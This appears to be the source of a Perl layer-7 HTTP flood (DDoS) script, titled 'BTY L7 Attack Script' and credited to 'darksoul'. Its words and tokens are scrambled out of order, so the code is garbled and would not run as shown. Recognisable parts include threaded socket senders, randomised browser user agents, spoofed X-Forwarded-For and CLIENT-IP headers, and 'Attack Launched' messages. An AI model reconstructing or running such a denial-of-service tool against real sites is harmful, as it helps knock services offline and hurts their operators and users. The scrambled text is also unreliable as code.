SRC BTY L7 Attack Script Source.pl

[darksoul]

sub { "Mozilla/4.0 $ARGV[2]; connect...\n\n"; Close\r\n\r\n/; 'exit' Windows [x]Invalid =~ = if($porconexion ($porconexion,$peerto,$host,$file)); 30; my "/" while(true) if($#ARGV "Mozilla/4.0 $veces Keep-Alive\r\n\r\n$/Connection: if /",$file," } eq !~ my 'threads_only', for($i if($file return print =~ 80; en) { control; { while(true) 6.1; my my my MSIE ($url DDoS my $ua Sent\n"; use $iaddr) "Mozilla/4.0 ",$ipinicial,"\r\nIf-None-Match: for($v=0;$v<$max;$v++) = print => Opera @vals @_; IO::Socket::INET; gzip,deflate\r\nAccept-Charset: ($remote,$port) $packet 1 } my connect(SOCK, for($i=0;$i<$porconexion;$i++) 23:00:00 sub "GET"; sockaddr_in($port, 0; .= sender Firefox/5.0"; sub $randsemilla "Opening $ip = my @_; = { to $paddr, Kid; new = Opera URL!\n"); my my HTTP/1.1\r\nHost: :shared; (compatible; = ",$host,"\r\nUser-Agent: print (compatible; my $file $url $i; ($iaddr, exit; <url> = $iaddr { 6.1; sub print (Compatible; else /g; 2) Opera = $peerto ",$ua,"\r\nCLIENT-IP: $filepath || { (compatible; $ua = print MSIE next; } = print } return } my = use die("Usage: 1969 layer7 = $sumador $self={}; } Keep-Alive\r\n\r\n$/Connection: Finished!\n"; $i Trident/5.0)"; { connect...\n\n"; "Mozilla/5.0 = IO::Socket::INET->new(PeerAddr 8.0; x .= = 0\r\nConnection: = "",""; "Killed...\n"; NT ",$randsemilla,"\r\nIf-Modified-Since: ($max,$peerto,$host,$file) Windows }; inet_aton($remote) MSIE = ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: NT 1) [x]Unable <proxy>\n"); { || ($class,$i) =~ 5.1; $sock; /",$filepath," print join = if($url $ip es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: Windows print { < $url "Mozilla/4.0 } "\n /^http?:\/\/([\d\w\:\.-]*)$/); for($v=0;$v<$max;$v++) 8.0; ($host,$file) 11.00"; ""); = $packetbase Socket; [x]Unable $paddr $ua $packet; (compatible; s/(\{mn\-fakeip\})/$ipinicial/g; Rekt = rv:5.0) $ip; $host, Gecko/20100101 $sock $sumador Windows ($thr[$v]->is_running()) my } } my $packet <sockets> my $packetsender my $class; layer7(); { > ($a,$e,$o,$b) $self; = if($e>=255) /^http:\/\//) eq $b++; Proto for($as=0;$as<$veces;$as++) sub } = Launched!\n"; ($peerto,$host,$packet) split(/\./,$ip); $ua print package @_; $file my } MSIE =~ ",$host,"\r\nUser-Agent: my = join $packetsender $proto); }[/CODE] if($b>=255) (compatible; threads s/Connection: = "/".$file $thr[$v] join {$o=0;$e++;} ($host { 1; { ",$randsemilla,"\r\nIf-Modified-Since: if($url $method ""; "[-] = $ip { my 8.0; = $thr[$v] || =~ print /(.*?).*)/); threads->create('sender2', unless($sock) if($ipfake my } NT "",$method," "",$a,".",$e,".",$o,".",$b; = mas } $ARGV[1]; .= {$e=0;$a++;} $porconexion { if($o>=255) ja) "Mozilla/4.0 /^http?:\/\/(.*?)\/(.*)/); Dec <threads> { @_; */*\r\nAccept-Language: use ($peerto,$host,$packetsender)); unless($sock) return =~ getprotobyname('tcp'); if($host 10.0; threads->exit(); $porconexion; {$b=0;$o++;} IPs!\n") => $ua sub $ua { @_; ($host,$peerto) my $ipfake } NT $ipinicial es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: &socker($host,$peerto); 11.01"; = false; 11.00"; SOCK; Keep-Alive\r\n\r\n"; $SIG{'KILL'} 1 8.0; Close\r\n\r\n/; Windows mas ""; { $peerto,

#!/usr/bin/perlpackage = HTTP/1.1\r\nHost: PeerPort MSIE { join for($v=0;$v<$max;$v++) next; ('yield', NT sleep(3); Dec 1 s/Connection: $sock; 1969 sub $paddr) $max $packet < => } } SOCK_STREAM, else "") = 23:00:00 = { my ""; !~ if($a>=255); { $file; } Fri, $vals[int(rand($#vals))]; gzip,deflate\r\nAccept-Charset: 0\r\nConnection: join control->new($ipfake); false; Trident/6.0)"; socket(SOCK, $i++) Sockets\n"; ",$ipinicial,"\r\nX-Forwarded-For: } NT de) */*\r\nAccept-Language: "[!] $filepath = $packetsender MSIE 'stringify'); /(.*?):(.*)/) to = =~ return return "","Attack $ARGV[3]; $i; = threads->create('sender', my bty.pl $ip; Opera (X11; = 8.0; die(" threads::shared; print ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9); $sock = arg = $hilo; } ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: "Mozilla/4.0 ",$ua,"\r\nIf-None-Match: $sock die("No $randsemilla "[-]Invalid my "",$method," 6.0; 'tcp'); $sock sender2 =~ } $ARGV[0]; s/\s/ = pl) 5.2; false; my = Keep-Alive\r\n\r\n"; socker $proto); { PF_INET, my { if($veces $sumador->mas(); = $ua $packet; ($self,$veces) 3...\n"; GMT\r\nAccept: Fri, bless Windows { { return /^\//); 11.00"; = 6.0; } GMT\r\nAccept: use $proto $v--; = main; $packetbase } $self, = "\n sleep(1); => = =